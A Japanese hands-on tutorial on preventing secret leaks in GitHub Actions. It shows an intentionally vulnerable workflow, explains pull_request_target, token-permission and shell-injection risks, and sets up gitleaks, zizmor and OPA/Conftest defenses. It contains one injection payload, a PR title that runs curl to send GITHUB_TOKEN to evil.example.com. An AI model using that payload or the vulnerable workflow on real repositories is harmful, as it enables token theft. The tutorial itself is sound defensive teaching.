2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

GitHub Actionsで「シークレット漏洩」を未然に防ぐ——CI/CDセキュリティ強化ハンズオン入門

2
Last updated at Posted at 2026-04-16

はじめに

この記事で分かること

  • GitHub Actionsのワークフローに潜む3大シークレット漏洩パターンとその仕組み
  • 脆弱なワークフローを実際に見て「なぜ危険か」を理解する方法
  • gitleaks・zizmor・OPA/Conftestなどのツールを使った多層防御の構築手順
  • 「最小権限」「SHAピニング」「OIDC」など、すぐに実践できるベストプラクティス

「CI/CDパイプラインのセキュリティは大事」と分かっていても、具体的に何を・どう対策すればいいか分からない——そんな方に向けて、ハンズオン形式で一歩ずつ進められる構成にしました。

前提知識

この記事を読むために必要な基礎知識を簡潔に整理します。

  • GitHub Actions: GitHubが提供するCI/CD(継続的インテグレーション/継続的デリバリー)サービスです。リポジトリに .github/workflows/ ディレクトリを作り、YAMLファイルでビルドやテストの手順を定義します
  • シークレット(Secrets): APIキーやトークンなど、外部に漏れてはいけない認証情報のことです。GitHub Actionsでは「Settings > Secrets and variables > Actions」から登録し、ワークフロー内で ${{ secrets.MY_SECRET }} として参照します
  • GITHUB_TOKEN: ワークフロー実行時にGitHubが自動発行するトークンです。リポジトリへの読み書きなどの操作に使いますが、権限設定を誤ると攻撃者に悪用される可能性があります

なぜCI/CDのシークレット漏洩が深刻なのか

CI/CDパイプラインは、本番環境へのデプロイ権限やクラウドサービスのAPIキーなど、組織の最も強力な認証情報が集まる場所です。

スーパーマーケットに例えると、CI/CDパイプラインは「裏口の搬入口」のようなものです。正面入口(Webアプリケーション)のセキュリティは厳重なのに、搬入口のカギが甘ければ、そこから侵入されてしまいます。

実際に、2025年3月にはtj-actions/changed-filesというGitHub Actionsの人気アクション(23,000以上のリポジトリが利用)がサプライチェーン攻撃を受け、CIのシークレットがワークフローログにダンプされる事態が発生しました。

GitHub Actionsの3大脆弱性パターン

ここからが本題です。GitHub Actionsのワークフローにはよくある「甘い設定」が3つあります。まず、意図的に脆弱性を含んだワークフローを見てみましょう。

# vulnerable-ci.yml(これは「やってはいけない」例です)
name: Vulnerable CI
on:
  # 脆弱性2: 外部PRでもシークレットにアクセスできるトリガー
  pull_request_target:

jobs:
  exploit-me:
    runs-on: ubuntu-latest
    # 脆弱性1: permissions未指定 → デフォルトでwrite-all
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          # 脆弱性2: 外部の未検証コードを高権限でチェックアウト
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Post status
        run: |
          # 脆弱性3: PRタイトルをシェルで直接展開
          echo "Processing PR: ${{ github.event.pull_request.title }}"

この短いワークフローには3つの脆弱性が潜んでいます。1つずつ解説します。

パターン1: Token Leak(トークン権限の過剰付与)

何が問題か: permissions を明示しないと、GITHUB_TOKEN にデフォルトで write-all(すべての操作権限)が付与されます。

なぜ危険か: 攻撃者がワークフロー内でコードを実行できた場合、このトークンを使ってリポジトリへの書き込み、リリースの作成、他のワークフローのトリガーなどが可能になります。

対策: 必要最小限の権限だけを明示的に指定します。

# 安全な例: 最小権限を明示
permissions:
  contents: read      # コードの読み取りのみ
  pull-requests: read # PRの読み取りのみ

パターン2: Pwn Request(未検証コードの実行)

何が問題か: pull_request_target トリガーは、外部からのPRでもシークレットにアクセスできるという特性があります。

通常の pull_request トリガーでは、フォークからのPRにはシークレットが渡されません。しかし pull_request_target は「ベースブランチのコンテキスト」で実行されるため、シークレットが使えます。ここで外部PRのコードをチェックアウト・実行すると、攻撃者のコードがシークレットを盗める状態になります。

対策: pull_request_target で外部PRのコードをチェックアウトしない。どうしても必要な場合は、ラベルによるゲートなど追加の防御策を入れます。

# 安全な例: pull_request を使う(外部PRにシークレットを渡さない)
on:
  pull_request:
    branches: [main]

パターン3: Context Injection(コンテキストインジェクション)

何が問題か: ${{ github.event.pull_request.title }} のような外部由来の値を run: ブロックで直接展開すると、シェルインジェクションが発生します。

たとえば攻撃者がPRタイトルを以下のように設定したらどうなるでしょうか。

"; curl http://evil.example.com/?token=$GITHUB_TOKEN #

echo "Processing PR: "; curl http://evil.example.com/?token=$GITHUB_TOKEN #" というコマンドが実行され、トークンが外部に送信されてしまいます。

対策: 外部入力は環境変数経由で渡し、シェルでの直接展開を避けます。

# 安全な例: 環境変数経由で渡す
- name: Post status
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Processing PR: ${PR_TITLE}"

3つのパターンの関係を図にまとめます。

多層防御の実践——ツール導入ハンズオン

脆弱性を「知っている」だけでは不十分です。自動的に検知・ブロックする仕組みを入れましょう。ここでは3つのレイヤーでの防御を構築します。

Layer 1: gitleaksでコミット前にシークレットをブロック

gitleaks は、gitリポジトリ内のシークレット(APIキー、トークン、パスワードなど)をファイル内容ベースで検出するツールです。ファイル名ではなくファイルの中身をスキャンするため、.env 以外の場所にうっかり書いたシークレットも検出できます。

インストール

# macOS
brew install gitleaks

# Linux
wget https://github.com/gitleaks/gitleaks/releases/download/v8.22.1/gitleaks_8.22.1_linux_x64.tar.gz
tar -xzf gitleaks_8.22.1_linux_x64.tar.gz
sudo mv gitleaks /usr/local/bin/

pre-commitフックの設定

# .git/hooks/pre-commit を作成
cat << 'EOF' > .git/hooks/pre-commit
#!/bin/sh
gitleaks git --pre-commit --staged --verbose
if [ $? -ne 0 ]; then
  echo "ERROR: gitleaks がシークレットを検出しました。コミットを中止します。"
  exit 1
fi
EOF
chmod +x .git/hooks/pre-commit

動作確認

# わざとAPIキーっぽい文字列を含むファイルを作ってテスト
echo 'AWS_SECRET_ACCESS_KEY="AKIAIOSFODNN7EXAMPLE"' > test-secret.txt
git add test-secret.txt
git commit -m "test"
# → gitleaksがブロックしてくれることを確認

# テストファイルを削除
rm test-secret.txt

ポイント: git commit --no-verify でフックをスキップされる可能性があるため、チームルールで --no-verify の使用を禁止するか、CI側でもgitleaksを実行する二重防御が重要です。

Layer 2: zizmorでワークフローの脆弱性を自動検知

zizmor は、GitHub Actionsワークフロー専用のセキュリティスキャナです。先ほど解説した3大脆弱性パターンをすべて自動検知できます。

インストールと実行

# インストール
pip install zizmor

# ワークフローファイルをスキャン
zizmor .github/workflows/

脆弱なワークフローをスキャンした結果の例

error[template-injection]: code injection via template expansion
  --> vulnerable-ci.yml:20:36
   |
20 |           echo "Processing PR: ${{ github.event.pull_request.title }}"
   |                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
   |                                    may expand into attacker-controllable code
   = note: audit confidence → High

error[unpinned-uses]: unpinned action reference
  --> vulnerable-ci.yml:12:15
   |
12 |         uses: actions/checkout@v4
   |               ^^^^^^^^^^^^^^^^^^^ action is not pinned to a hash
   = note: audit confidence → High

CIに組み込む

# .github/workflows/security-scan.yml
name: Workflow Security Scan
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Install zizmor
        run: pip install zizmor
      - name: Run zizmor
        run: zizmor .github/workflows/

Layer 3: OPA/Conftestで組織独自のポリシーを強制

OPA(Open Policy Agent)Conftest を使うと、「組織として許可しないワークフロー設定」をコードとしてルール化し、CIで自動チェックできます。

zizmorが「一般的な脆弱性」を検知するのに対し、OPA/Conftestは組織固有のポリシー(例: 「pull_request_target は一切禁止」「permissions の明示を必須化」など)を定義できるのが強みです。

Regoポリシーの例

# policy/github_actions.rego
package main

# pull_request_target トリガーの使用を禁止
deny_pwn_request contains msg if {
    input.on.pull_request_target
    some job_id, job in input.jobs
    some step in job.steps
    startswith(step.uses, "actions/checkout")
    msg := sprintf(
      "CRITICAL: Job '%v' が pull_request_target で未検証コードをチェックアウトしています。",
      [job_id]
    )
}

# Context Injectionの検知
deny_context_injection contains msg if {
    some job_id, job in input.jobs
    some step in job.steps
    contains(step.run, "${{ github.event.")
    msg := sprintf(
      "SECURITY RISK: Job '%v' で外部入力をシェルに直接展開しています。env 変数を使ってください。",
      [job_id]
    )
}

Conftestで検証を実行

# Conftestのインストール
brew install conftest  # macOS
# または
wget https://github.com/open-policy-agent/conftest/releases/download/v0.56.0/conftest_0.56.0_Linux_x86_64.tar.gz

# ワークフローを検証
conftest test .github/workflows/vulnerable-ci.yml

# 出力例:
# FAIL - vulnerable-ci.yml - CRITICAL: Job 'exploit-me' が pull_request_target で
#        未検証コードをチェックアウトしています。
# FAIL - vulnerable-ci.yml - SECURITY RISK: Job 'exploit-me' で外部入力をシェルに
#        直接展開しています。env 変数を使ってください。

すぐに実践できるベストプラクティス5選

ツールの導入と合わせて、以下のベストプラクティスを日常的に実践しましょう。

1. アクションはSHAハッシュで固定する(SHAピニング)

バージョンタグ(@v4)はリポジトリオーナーが後から書き換えられるため、コミットSHAで固定します。

# 危険: タグは書き換え可能
- uses: actions/checkout@v4

# 安全: SHAハッシュで固定(コメントでバージョンを併記)
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

2. permissions をジョブレベルで最小限に設定する

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write  # 必要な権限だけ明示

3. OIDCトークンでパスワードレス認証を実現する

OIDC(OpenID Connect)を使うと、AWSやGCPなどのクラウドサービスにシークレットを保存せずに認証できます。ワークフロー実行時にGitHubが発行する署名付きJWTをクラウド側が検証する仕組みです。

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      id-token: write  # OIDCトークンの発行を許可
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
          aws-region: ap-northeast-1

4. Environment Protection Rulesで手動承認ゲートを設ける

本番環境へのデプロイには、必ず承認者によるレビューを挟みましょう。

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment:
      name: production  # GitHub側で承認者を設定

5. .gitignoreと.envの基本を徹底する

最も基本的ですが、シークレット漏洩の90%は基本的なミスから発生します。

# .gitignore
.env
.env.local
.env.*.local
*.pem
*.key

よくある落とし穴・注意点

「CIでは検知できたのにローカルでは見逃した」問題

CIにgitleaksを入れていても、開発者がローカルでpre-commitフックを設定していなければ、シークレット入りのコミットがGitの履歴に残ります。一度pushされたシークレットは、コミットを取り消してもGit履歴から完全に消すのは困難です。必ずローカルとCIの二重防御を構築してください。

actions/checkout の認証情報永続化

actions/checkout はデフォルトで認証情報をローカルのgit設定に永続化します。後続のステップで悪意あるコードが実行された場合、この認証情報を悪用される可能性があります。persist-credentials: false を設定しましょう。

- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
  with:
    persist-credentials: false

サードパーティアクションの「推移的依存」の危険性

SHAピニングで直接参照するアクションを固定しても、そのアクションが内部で呼び出す依存関係(推移的依存)までは固定できません。tj-actions/changed-files事件では、依存の依存である reviewdog/action-setup が侵害の起点になりました。信頼できるアクションのみを使い、依存関係の少ないシンプルなアクションを選ぶことが重要です。

まとめ

GitHub Actionsのシークレット漏洩対策は、 「知る → 検知する → 自動で防ぐ」 の3段階で進めるのが効果的です。

レイヤー ツール/手法 導入コスト 効果
知識 3大脆弱性パターンの理解 無料 設計段階で防げる
ローカル gitleaks(pre-commit) コミット前にブロック
CI zizmor / ghalint PR時に自動検知
CI gitleaks(CIスキャン) push時に二重チェック
ガバナンス OPA / Conftest 中〜高 組織ルールの強制
運用 SHAピニング / OIDC / 最小権限 攻撃面の最小化

まずはgitleaksのpre-commitフック設定permissionsの最小権限化から始めてみてください。この2つだけでも、大半のシークレット漏洩リスクを排除できます。その上で、チームの規模や要件に応じてzizmorやOPA/Conftestを段階的に導入していくのがおすすめです。


こちらもよく読まれています

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?